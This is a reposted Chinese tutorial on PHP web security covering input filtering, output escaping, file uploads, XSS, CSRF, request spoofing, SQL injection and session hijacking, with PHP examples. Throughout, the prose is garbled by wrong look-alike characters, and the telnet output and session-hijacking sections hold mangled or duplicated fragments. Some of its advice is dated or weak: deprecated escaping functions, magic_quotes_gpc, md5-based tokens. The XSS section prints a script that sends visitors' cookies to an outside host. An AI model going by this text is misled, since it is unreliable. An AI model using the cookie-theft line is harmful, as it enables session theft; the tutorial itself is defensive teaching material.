PHP开发安全之近墨者浅谈(转)

==过滤输入/输出转义

过滤是Web应用安全的基础。它是你验证数据合法性的过程。经过在输入时确认对全部的数据进行过滤,你能够避免被污染(未过滤)数据在你的程序中被误信及误用。大多数流行的PHP应用的漏洞最终都是由于没有对输入进行恰当过滤形成的。
有不少种方法过滤数据,其中有一些安全性较高。最好的方法是把过滤当作是一个检查的过程。请不要试图好心地去纠正非法数据,要让你的用户按你的规则去作,历史证实了试图纠正非法数据每每会致使安全漏洞。
另一个Web应用安全的基础是对输出进行转义或对特殊字符进行编码,以保证原意不变。例如,O’Reilly在传送给MySQL数据库前须要转义成O\’Reilly。单引号前的反斜杠表明单引号是数据自己的一部分,而不是并非它的本义。

象过滤同样,转义过程在依情形的不一样而不一样。过滤对于不一样类型的数据处理方法也是不一样的,转义也是根据你传输信息到不一样的系统而采用不一样的方法。
为了区分数据是否已转义,仍是建议定义一个命名机制。对于输出到客户机的转义数据,使$html数组进行存储,该数据首先初始化成一个空数组,对全部已过滤和已转义数据进行保存。

<?php 
     $html = array(     ); 
     $html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); 
     echo "<p>Welcome, {$html['username']}.</p>"; 
?>
htmlspecialchars( )函数与htmlentities( )函数基本相同,它们的参数定义彻底相同,只不过是htmlentities( )的转义更为完全。
经过$html['username']把username输出到客户端,你就能够确保其中的特殊字符不会被浏览器所错误解释。若是username只包含字母和数字的话,实际上转义是没有必要的,可是这体现了深度防范的原则。转义任何的输出是一个很是好的习惯,它能够戏剧性地提升你的软件的安全性。
另一个常见的输出目标是数据库。若是可能的话,你须要对SQL语句中的数据使用PHP内建函数进行转义。对于MySQL用户,最好的转义函数是 mysql_real_escape_string( )。若是你使用的数据库没有PHP内建转义函数可用的话,addslashes( )是最后的选择。

==语义URL攻击

例如,若是用户a点击了一个连接并到达了页面http://abc.net/pr.php?user=a, 很天然地可能会试图改变user的值,看看会发生什么。
若是使用session跟踪,能够很方便地避免上述状况的发生:

<?php 
     session_start(); 
     $clean = array(); 
     $email_pa = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i'; 
     if (preg_match($email_pa, $_POST['email'])) 
     { 
     $clean['email'] = $_POST['email']; 
     $user = $_SESSION['user']; 
     $new_password = md5(uniqid(rand(), TRUE)); 
     if ($_SESSION['verified']) 
     { 
         /* Update Password */ 
         mail($clean['email'], 'Your New Pass', $new_password); 
     } 
     } 
?>
正是这种不信任的作法是防止你的应用产生漏洞的关键。

==文件上传攻击

有时在除了标准的表单数据外,你还须要让用户进行文件上传。因为文件在表单中传送时与其它的表单数据不一样,你必须指定一个特别的编码方式multipart/form-data:

<form action="./upload.php" method="POST" enctype="multipart/form-data">
一个同时有普通表单数据和文件的表单是一个特殊的格式,而指定编码方式可使浏览器能按该可格式的要求去处理。
容许用户进行选择文件并上传的表单元素是很简单的:

<input type="file" name="attachment" />
该元素在各类浏览器中的外观表现形式各有不一样。传统上,界面上包括一个标准的文本框及一个浏览按钮,以使用户能直接手工录入文件的路径或经过浏览选择。在Safari浏览器中只有浏览按钮。幸运的是,它们的做用与行为是相同的。
为了更好地演示文件上传机制,下面是一个容许用户上传附件的例子:

<form action="./upload.php" method="POST" enctype="multipart/form-data"> 
     <p>Please choose a file to upload: 
     <input type="hidden" name="MAX_FILE_SIZE" value="1024" /> 
     <input type="file" name="attachment" /><br /> 
     <input type="submit" value="Upload Attachment" /></p> 
</form>
隐藏的表单变量MAX_FILE_SIZE告诉了浏览器最大容许上传的文件大小。与不少客户端限制相同,这一限制很容易被攻击者绕开,但它能够为合法用户提供向导。在服务器上进行该限制才是可靠的。
PHP的配置变量中,upload_max_filesize控制最大容许上传的文件大小。同时post_max_size(POST表单的最大提交数据的大小)也能潜在地进行控制,由于文件是经过表单数据进行上传的。
接收程序upload.php显示了超级全局数组$_FILES的内容:

<?php 
     header('Content-Type: text/plain'); 
     print_r($_FILES); 
?>
为了理解上传的过程,咱们使用一个名为author.txt的文件进行测试,下面是它的内容:
user abc
http://abc.org/[/php]
当你上传该文件到upload.php程序时,你能够在浏览器中看到相似下面的输出:

[php]Array 
     ( 
         [attachment] => Array 
             ( 
                     [name] => author.txt 
                     [type] => text/plain 
                     [tmp_name] => /tmp/phpShfltt 
                     [error] => 0 
                     [size] => 36 
             )     
      ) 
虽然从上面能够看出PHP实际在超级全局数组$_FILES中提供的内容,可是它没法给出表单数据的原始信息。
因为PHP在文件系统的临时文件区保存上传的文件,因此一般进行的操做是把它移到其它地方进行保存及读取到内存。若是你不对tmp_name做检查以确保它是一个上传的文件(而不是/etc/passwd之类的东西),存在一个理论上的风险。之因此叫理论上的风险,是由于没有一种已知的攻击手段容许攻击者去修改tmp_name的值。可是,没有攻击手段并不意味着你不须要作一些简单的安全措施。新的攻击手段天天在出现,而简单的一个步骤能保护你的系统。
PHP提供了两个方便的函数以减轻这些理论上的风险:is_uploaded_file( ) and move_uploaded_file( )。若是你须要确保tmp_name中的文件是一个上传的文件,你能够用
is_uploaded_file( ):

<?php 
     $filename = $_FILES['attachment']['tmp_name']; 
     if (is_uploaded_file($filename)) 
     { 
     /* $_FILES['attachment']['tmp_name'] is an uploaded file. */ 
     } 
     ?>
最后你能够用 filesize( ) 来校验文件的大小:

<?php 
     $filename = $_FILES['attachment']['tmp_name'];      if (is_uploaded_file($filename)) 
     { 
     $size = filesize($filename); 
     } 
?>
这些安全措施的目的是加上一层额外的安全保护层。最佳的方法是永远尽量少地去信任。并且全部的输入都是有害的。

==跨站脚本攻击

全部有输入的应用都面临着风险。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把本身置于危险之中。若是输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。
以一个容许在每一个页面上录入评论的应用为例,它使用了下面的表单帮助用户进行提交:

<form action="./comment.php" method="POST" /> 
     <p>Name: <input type="text" name="name" /><br /> 
     Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /> 
     <input type="submit" value="Add Comment" /></p> 
</form>
程序向其余访问该页面的用户显示评论。例如,相似下面的代码段可能被用来输出一个评论($comment)及与之对应的发表人($name):

<?php 
     echo "<p>$name writes:<br />"; 
     echo "<blockquote>$comment</blockquote></p>"; 
?>
这个流程对$comment及$name的值给予了充分的信任,想象一下它们中的一个的内容中包含以下代码:

<script> 
     document.location = 
     'http://a.abc.net/s.php?cookies=' + 
     document.cookie 
</script>
若是你的用户察看这个评论时,这与你容许别人在你的网站源程序中加入Javascript代码无异。你的用户会在不知不觉中把他们的cookies(浏览网站的人)发送到a.abc.net,而接收程序(s.php)能够经过$_GET['cookies']变量防问全部的cookies。
这是一个常见的错误,主要是因为很差的编程习惯引起的。幸运的是此类错误很容易避免。因为这种风险只在你输出了被污染数据时发生,因此只要确保作到如第一章所述的过滤输入及转义输出便可
最起码你要用htmlentities( )对任何你要输出到客户端的数据进行转义。该函数能够把全部的特殊字符转换成HTML表示方式。全部会引发浏览器进行特殊处理的字符在进行了转换后,就能确保显示出来的是原来录入的内容。

==跨站请求伪造

跨站请求伪造(CSRF)是一种容许攻击者经过受害者发送任意HTTP请求的一类攻击方法。此处所指的受害者是一个不知情的同谋,全部的伪造请求都由他发起,而不是攻击者。这样,很你就很难肯定哪些请求是属于跨站请求伪造攻击。事实上,若是没有对跨站请求伪造攻击进行特地防范的话,你的应用颇有多是有漏洞的。
你须要用几个步骤来减轻跨站请求伪造攻击的风险。通常的步骤包括使用POST方式而不是使用GET来提交表单,在处理表单提交时使用$_POST而不是$_REQUEST,同时须要在重要操做时进行验证(越是方便,风险越大,你须要求得方便与风险之间的平衡)。
任何须要进行操做的表单都要使用POST方式。在RFC 2616(HTTP/1.1传送协议,译注)的9.1.1小节中有一段描述:
“特别须要指出的是,习惯上GET与HEAD方式不该该用于引起一个操做,而只是用于获取信息。这些方式应该被认为是‘安全’的。客户浏览器应以特殊的方式,如POST,PUT或Delete方式来使用户意识到正在请求进行的操做多是不安全的。”
最重要的一点是你要作到能强制使用你本身的表单进行提交。尽管用户提交的数据看起来象是你表单的提交结果,但若是用户并非在最近调用的表单,这就比较可疑了。请看下面对前例应用更改后的代码:

<?php      
     session_start(); 
     $token = md5(uniqid(rand(), TRUE)); 
     $_SESSION['token'] = $token; 
     $_SESSION['token_time'] = time(); 
     ?> 
     <form action="buy.php" method="POST"> 
     <input type="hidden" name="token" value="<?php echo $token; ?>" /> 
     <p> 
     Item: 
     <select name="item"> 
     <option name="pen">pen</option> 
     <option name="pencil">pencil</option> 
     </select><br /> 
     Quantity: <input type="text" name="quantity" /><br /> 
     <input type="submit" value="Buy" /> 
     </p> 
     </form>
经过这些简单的修改,一个跨站请求伪造攻击就必须包括一个合法的验证码以彻底模仿表单提交。因为验证码的保存在用户的session中的,攻击者必须对每一个受害者使用不一样的验证码。这样就有效的限制了对一个用户的任何攻击,它要求攻击者获取另一个用户的合法验证码。使用你本身的验证码来伪造另一个用户的请求是无效的。 该验证码能够简单地经过一个条件表达式来进行检查:

<?php     
     if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']) 
     { 
     } 
?>
你还能对验证码加上一个有效时间限制,如5分钟:

<?php      
     $token_age = time() - $_SESSION['token_time'];      if ($token_age <= 300) 
     { 
     } 
?>
经过在你的表单中包括验证码,你事实上已经消除了跨站请求伪造攻击的风险。能够在任何须要执行操做的任何表单中使用这个流程。
尽管我使用img标签描述了攻击方法,但跨站请求伪造攻击只是一个总称,它是指全部攻击者经过伪造他人的HTTP请求进行攻击的类型。已知的攻击方法同时包括对GET和POST的攻击,因此不要认为只要严格地只使用POST方式就好了。

==欺骗表单提交

制造一个欺骗表单几乎与假造一个URL同样简单。毕竟,表单的提交只是浏览器发出的一个HTTP请求而已。请求的部分格式取决于表单,某些请求中的数据来自于用户。
大多数表单用一个相对URL地址来指定action属性:

<form action="./pr.php" method="POST">
当表单提交时,浏览器会请求action中指定的URL,同时它使用当前的URL地址来定位相对URL。则在用户提交表单后会请求URL地址http://abc.net/pr.php。
知道了这一点,很容易就能想到你能够指定一个绝对地址,这样表单就能够放在任何地方了:

<form action="http://abc.net/pr.php" method="POST">
这个表单能够放在任何地方,而且使用这个表单产生的提交与原始表单产生的提交是相同的。意识到这一点,攻击者能够经过查看页面源文件并保存在他的服务器上,同时将action更改成绝对URL地址。经过使用这些手段,攻击者能够任意更改表单,如取消最大字段长度限制,取消本地验证代码,更改隐藏字段的值,或者出于更加灵活的目的而改写元素类型。这些更改帮助攻击者向服务器提交任何数据,同时因为这个过程很是简便易行,攻击者无需是一个专家便可作到。
欺骗表单攻击是不能防止的,尽管这看起来有点奇怪,但事实上如此。不过这你不须要担忧。一旦你正确地过滤了输入,用户就必需要遵照你的规则,这与他们如何提交无关。

==HTTP请求欺骗

一个比欺骗表单更高级和复杂的攻击方式是HTTP请求欺骗。这给了攻击者彻底的控制权与灵活性,它进一步证实了不能盲目信任用户提交的任何数据。
请看下面位于http://abc.net/form.php的表单:

<form action="process.php" method="POST"> 
     <p>Please select a color: 
     <select name="color"> 
     <option value="red">Red</option> 
     <option value="green">Green</option> 
     <option value="blue">Blue</option> 
     </select><br /> 
     <input type="submit" value="Select" /></p> 
</form>
若是用户选择了Red并点击了Select按钮后,浏览器会发出下面的HTTP请求:

POST /process.php HTTP/1.1 
     Host: abc.net 
     User-Agent: Mozilla/5.0 (X11; U; Linux i686) 
     Referer: http://abc.net/form.php 
     Content-Type: application/x-www-form-urlencoded 
     Content-Length: 9      color=red
看到大多数浏览器会包含一个来源的URL值,你可能会试图使用$_SERVER['HTTP_REFERER']变量去防止欺骗。确实,这能够用于对付利用标准浏览器发起的攻击,但攻击者是不会被这个小麻烦给挡住的。经过编辑HTTP请求的原始信息,攻击者能够彻底控制HTTP头部的值,GET和POST 的数据,以及全部在HTTP请求的内容。
攻击者如何更改原始的HTTP请求?过程很是简单。经过在大多数系统平台上都提供的Telnet实用程序,你就能够经过链接网站服务器的侦听端口(典型的端口为80)来与Web服务器直接通讯。下面就是使用这个技巧请求http://abc.net/页面的例子:

$ telnet abc.net 80 
     Trying 192.0.34.166... 
     Connected to abc.net (192.0.34.166). 
     Escape character is '^]'. 
     GET / HTTP/1.1 
     Host: abc.net      HTTP/1.1 200 OK 
     Date: Sat, 21 May 2005 12:34:56 GMT 
     Server: Apache/1.3.31 (Unix) 
     Accept-Ranges: bytes 
     Content-Length: 410 
     Connection: close 
     Content-Type: text/html      <html> 
     <head> 
     <title>abc.net</title> 
     </head> 
     <body> 
     <p>You have reached this web page by typing "example.com", 
     "example.net", or "example.org" into your web browser.</p> 
     <p>These domain names are reserved for use in documentation and are not 
     available for registration. See 
     <a href="RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC _fcksavedurl=""RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC" 2606</a>, Section 
     3.</p> 
     </body> 
     </html>      Connection closed by foreign host. 
     $
所显示的请求是符合HTTP/1.1规范的最简单的请求,这是由于Host信息是头部信息中所必须有的。一旦你输入了表示请求结束的连续两个换行符,整个HTML的回应即显示在屏幕上。
Telnet实用程序不是与Web服务器直接通讯的惟一方法,但它经常是最方便的。但是若是你用PHP编码一样的请求,你能够就能够实现自动操做了。前面的请求能够用下面的PHP代码实现:

<?php 
     $http_response = ''; 
     $fp = fsockopen('abc.net', 80); 
     fputs($fp, "GET / HTTP/1.1"); 
     fputs($fp, "Host: abc.net"); 
     while (!feof($fp)) 
     { 
     $http_response .= fgets($fp, 128); 
     } 
     fclose($fp); 
     echo nl2br(htmlentities($http_response, ENT_QUOTES, 'UTF-8')); 
     ?>
固然,还有不少方法去达到上面的目的,但其要点是HTTP是一个广为人知的标准协议,通常攻击者都会对它很是熟悉,而且对常见的安全漏洞的攻击方法也很熟悉。

==SQL 注入

SQL 注入是PHP应用中最多见的漏洞之一。事实上使人惊奇的是,开发者要同时犯两个错误才会引起一个SQL注入漏洞,一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,须要同时加以特别关注以减小程序错误。
虽然两个步骤都不能省略,但只要实现其中的一个就能消除大多数的SQL注入风险。若是你只是过滤输入而没有转义输出,你极可能会遇到数据库错误(合法的数据也可能影响SQL查询的正确格式),但这也不可靠,合法的数据还可能改变SQL语句的行为。另外一方面,若是你转义了输出,而没有过滤输入,就能保证数据不会影响SQL语句的格式,同时也防止了多种常见SQL注入攻击的方法。
关于SQL注入,不得不说的是如今大多虚拟主机都会把magic_quotes_gpc选项打开,在这种状况下全部的客户端GET和POST的数据都会自动进行addslashes处理,因此此时对字符串值的SQL注入是不可行的,但要防止对数字值的SQL注入,如用intval()等函数进行处理。但若是你编写的是通用软件,则须要读取服务器的magic_quotes_gpc后进行相应处理。

==会话劫持

最多见的针对会话的攻击手段是会话劫持。它是全部攻击者能够用来访问其它人的会话的手段的总称。全部这些手段的第一步都是取得一个合法的会话标识来假装成合法用户,所以保证会话标识不被泄露很是重要。前面几节中关于会话暴露和固定的知识能帮助你保证会话标识只有服务器及合法用户才能知道。
把假装过程变得更复杂的关键是增强验证。会话标识是验证的首要方法,同时你能够用其它数据来补充它。你能够用的全部数据只是在每一个HTTP请求中的数据:

GET / HTTP/1.1 
     Host: abc.net 
     User-Agent: Firefox/1.0 
     Accept: text/html, image/png, image/jpeg, image/gif, * / HTTP/1.1 
     Host: abc.net 
     User-Agent: Firefox/1.0 
     Accept: text/html, image/png, image/jpeg, image/gif, *
应该意识到请求的一致性,并把不一致的行为认为是可疑行为。例如,虽然User-Agent(发出本请求的浏览器类型)头部是可选的,可是只要是发出该头部的浏览器一般都不会变化它的值。若是你一个拥有1234的会话标识的用户在登陆后一直用Mozilla Firfox浏览器,忽然转换成了IE,这就比较可疑了。例如,此时你能够用要求输入密码方式来减轻风险,同时在误报时,这也对合法用户产生的冲击也比较小。你能够用下面的代码来检测User-Agent的一致性:

<?php 
     session_start(); 
     if (isset($_SESSION['HTTP_USER_AGENT'])) 
     { 
     if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) 
     { 
         exit; 
     } 
     } 
     else 
     { 
     $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); 
     } 
     ?>
在某些版本的IE浏览器中,用户正常访问一个网页和刷新一个网页时发出的Accept头部信息不一样,所以Accept头部不能用来判断一致性。 确保User-Agent头部信息一致的确是有效的,但若是会话标识经过cookie传递,有道理认为,若是攻击者能取得会话标识,他同时也能取得其它 HTTP头部。因为cookie暴露与浏览器漏洞或跨站脚本漏洞相关,受害者须要访问攻击者的网站并暴露全部头部信息。全部攻击者要作的只是重建头部以防止任何对头部信息一致性的检查。
比较好的方法是产生在URL中传递一个标记,能够认为这是第二种验证的形式。使用这个方法须要进行一些编程工做,PHP中没有相应的功能。例如,假设标记保存在$token中,你须要把它包含在全部你的应用的内部连接中:

<?php 
     $url = array(); 
     $html = array(); 
     $url['token'] = rawurlencode($token); 
     $html['token'] = htmlentities($url['token'], ENT_QUOTES, 'UTF-8'); 
?>      <a href="abc.php?token=<?php echo $html['token']; ?>">Click Here</a>
为了更方便地管理这个传递过程,你可能会把整个请求串放在一个变量中。你能够把这个变量附加到全部连接后面,这样即使你一开始没有使用该技巧,从此仍是能够很方便地对你的代码做出变化。 该标记须要包含不可预测的内容,即使是在攻击者知道了受害者浏览器发出的HTTP头部的所有信息也不行。一种方法是生成一个随机串做为标记:

<?php 
     $string = $_SERVER['HTTP_USER_AGENT']; 
     $string .= 'SHIFLETT'; 
     $token = md5($string); 
     $_SESSION['token'] = $token; 
?>
当你使用随机串时(如SHIFLETT),对它进行预测是不现实的。此时,捕获标记将比预测标记更为方便,经过在URL中传递标记和在cookie中传递会话标识,攻击时须要同时抓取它们两者。这样除非攻击者可以察看受害者发往你的应用全部的HTTP请求原始信息才能够,由于在这种状况下全部内容都暴露了。这种攻击方式实现起来很是困难(因此很罕见),要防止它须要使用SSL。
有专家警告不要依赖于检查User-Agent的一致性。这是由于服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。
若是你不但愿依赖于检查User-Agent的一致性。你能够生成一个随机的标记:

<?php 
     $token = md5(uniqid(rand(), TRUE)); 
     $_SESSION['token'] = $token; 
?>
这一方法的安全性虽然是弱一些,但它更可靠。上面的两个方法都对防止会话劫持提供了强有力的手段。你须要作的是在安全性和可靠性之间做出平衡。php

相关文章
相关标签/搜索